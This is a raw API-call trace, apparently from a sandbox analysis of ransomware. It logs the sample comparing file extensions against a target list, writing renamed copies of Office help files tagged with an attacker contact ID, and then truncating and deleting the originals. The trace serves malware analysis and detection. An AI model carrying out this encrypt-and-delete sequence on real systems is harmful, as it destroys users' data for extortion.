	[0262.993] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.993] lstrlenW (lpString=".doc") returned 4
	[0262.993] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0262.993] lstrlenW (lpString=".docx") returned 5
	[0262.993] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0262.993] lstrlenW (lpString=".pdf") returned 4
	[0262.993] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString=".xls") returned 4
	[0262.993] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString=".xlsx") returned 5
	[0262.993] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0262.993] lstrlenW (lpString=".ppt") returned 4
	[0262.993] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0262.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.994] lstrlenW (lpString=".zip") returned 4
	[0262.994] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0262.994] lstrlenW (lpString=".rar") returned 4
	[0262.994] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0262.994] lstrlenW (lpString=".bz2") returned 4
	[0262.994] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0262.994] lstrlenW (lpString=".7z") returned 3
	[0262.994] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0262.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.994] lstrlenW (lpString=".dbf") returned 4
	[0262.994] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0262.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.994] lstrlenW (lpString=".1cd") returned 4
	[0262.994] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0262.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64
	[0262.994] lstrlenW (lpString=".jpg") returned 4
	[0262.994] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0262.994] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0262.994] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16
	[0262.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.995] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=208) returned 1
	[0262.995] CloseHandle (hObject=0x35c) returned 1
	[0262.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 0x20
	[0262.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.995] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.995] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.995] GetLastError () returned 0x0
	[0262.995] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xd0, lpOverlapped=0x0) returned 1
	[0262.996] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0262.997] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.997] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0262.997] SetEndOfFile (hFile=0x328) returned 1
	[0262.997] CloseHandle (hObject=0x328) returned 1
	[0262.997] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.997] SetEndOfFile (hFile=0x35c) returned 1
	[0262.999] CloseHandle (hObject=0x35c) returned 1
	[0263.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxt")) returned 1
	[0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.000] lstrlenW (lpString=".doc") returned 4
	[0263.000] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.000] lstrlenW (lpString=".docx") returned 5
	[0263.000] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.000] lstrlenW (lpString=".pdf") returned 4
	[0263.000] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.000] lstrlenW (lpString=".xls") returned 4
	[0263.000] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.000] lstrlenW (lpString=".xlsx") returned 5
	[0263.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.000] lstrlenW (lpString=".ppt") returned 4
	[0263.000] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.000] lstrlenW (lpString=".zip") returned 4
	[0263.000] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.000] lstrlenW (lpString=".rar") returned 4
	[0263.000] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.000] lstrlenW (lpString=".bz2") returned 4
	[0263.000] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.001] lstrlenW (lpString=".7z") returned 3
	[0263.001] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString=".dbf") returned 4
	[0263.001] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString=".1cd") returned 4
	[0263.001] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString=".jpg") returned 4
	[0263.001] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString=".doc") returned 4
	[0263.001] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.001] lstrlenW (lpString=".docx") returned 5
	[0263.001] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.001] lstrlenW (lpString=".pdf") returned 4
	[0263.001] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString=".xls") returned 4
	[0263.001] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString=".xlsx") returned 5
	[0263.001] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.001] lstrlenW (lpString=".ppt") returned 4
	[0263.001] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.001] lstrlenW (lpString=".zip") returned 4
	[0263.001] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString=".rar") returned 4
	[0263.001] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.001] lstrlenW (lpString=".bz2") returned 4
	[0263.002] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.002] lstrlenW (lpString=".7z") returned 3
	[0263.002] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.002] lstrlenW (lpString=".dbf") returned 4
	[0263.002] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.002] lstrlenW (lpString=".1cd") returned 4
	[0263.002] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXT") returned 64
	[0263.002] lstrlenW (lpString=".jpg") returned 4
	[0263.002] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.002] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.002] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18
	[0263.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.002] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0263.002] CloseHandle (hObject=0x35c) returned 1
	[0263.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 0x20
	[0263.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.003] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.003] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.003] GetLastError () returned 0x0
	[0263.003] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.004] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.005] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.005] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0263.005] SetEndOfFile (hFile=0x328) returned 1
	[0263.005] CloseHandle (hObject=0x328) returned 1
	[0263.005] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.005] SetEndOfFile (hFile=0x35c) returned 1
	[0263.007] CloseHandle (hObject=0x35c) returned 1
	[0263.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_f_col.hxk")) returned 1
	[0263.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.008] lstrlenW (lpString=".doc") returned 4
	[0263.008] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.008] lstrlenW (lpString=".docx") returned 5
	[0263.008] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.008] lstrlenW (lpString=".pdf") returned 4
	[0263.008] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.008] lstrlenW (lpString=".xls") returned 4
	[0263.008] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.008] lstrlenW (lpString=".xlsx") returned 5
	[0263.008] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.008] lstrlenW (lpString=".ppt") returned 4
	[0263.008] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.008] lstrlenW (lpString=".zip") returned 4
	[0263.008] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.008] lstrlenW (lpString=".rar") returned 4
	[0263.008] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.008] lstrlenW (lpString=".bz2") returned 4
	[0263.008] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.008] lstrlenW (lpString=".7z") returned 3
	[0263.009] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString=".dbf") returned 4
	[0263.009] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString=".1cd") returned 4
	[0263.009] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString=".jpg") returned 4
	[0263.009] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString=".doc") returned 4
	[0263.009] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.009] lstrlenW (lpString=".docx") returned 5
	[0263.009] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.009] lstrlenW (lpString=".pdf") returned 4
	[0263.009] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString=".xls") returned 4
	[0263.009] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString=".xlsx") returned 5
	[0263.009] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.009] lstrlenW (lpString=".ppt") returned 4
	[0263.009] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.009] lstrlenW (lpString=".zip") returned 4
	[0263.009] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString=".rar") returned 4
	[0263.009] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.009] lstrlenW (lpString=".bz2") returned 4
	[0263.009] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.010] lstrlenW (lpString=".7z") returned 3
	[0263.010] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.010] lstrlenW (lpString=".dbf") returned 4
	[0263.010] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.010] lstrlenW (lpString=".1cd") returned 4
	[0263.010] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_F_COL.HXK") returned 66
	[0263.010] lstrlenW (lpString=".jpg") returned 4
	[0263.010] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.010] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.010] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18
	[0263.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.010] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0263.010] CloseHandle (hObject=0x35c) returned 1
	[0263.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 0x20
	[0263.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.011] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.012] GetLastError () returned 0x0
	[0263.012] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.013] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.013] ReadFile (in: hFile=0x35c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.013] WriteFile (in: hFile=0x328, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf8, lpOverlapped=0x0) returned 1
	[0263.014] SetEndOfFile (hFile=0x328) returned 1
	[0263.014] CloseHandle (hObject=0x328) returned 1
	[0263.014] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.014] SetEndOfFile (hFile=0x35c) returned 1
	[0263.016] CloseHandle (hObject=0x35c) returned 1
	[0263.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_k_col.hxk")) returned 1
	[0263.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.017] lstrlenW (lpString=".doc") returned 4
	[0263.017] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.017] lstrlenW (lpString=".docx") returned 5
	[0263.017] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.017] lstrlenW (lpString=".pdf") returned 4
	[0263.017] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.017] lstrlenW (lpString=".xls") returned 4
	[0263.017] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.017] lstrlenW (lpString=".xlsx") returned 5
	[0263.017] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.017] lstrlenW (lpString=".ppt") returned 4
	[0263.017] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.017] lstrlenW (lpString=".zip") returned 4
	[0263.017] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.017] lstrlenW (lpString=".rar") returned 4
	[0263.017] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.017] lstrlenW (lpString=".bz2") returned 4
	[0263.017] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.017] lstrlenW (lpString=".7z") returned 3
	[0263.017] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString=".dbf") returned 4
	[0263.018] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString=".1cd") returned 4
	[0263.018] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString=".jpg") returned 4
	[0263.018] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_K_COL.HXK") returned 66
	[0263.018] lstrlenW (lpString=".doc") returned 4
	[0263.018] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.018] lstrlenW (lpString=".docx") returned 5
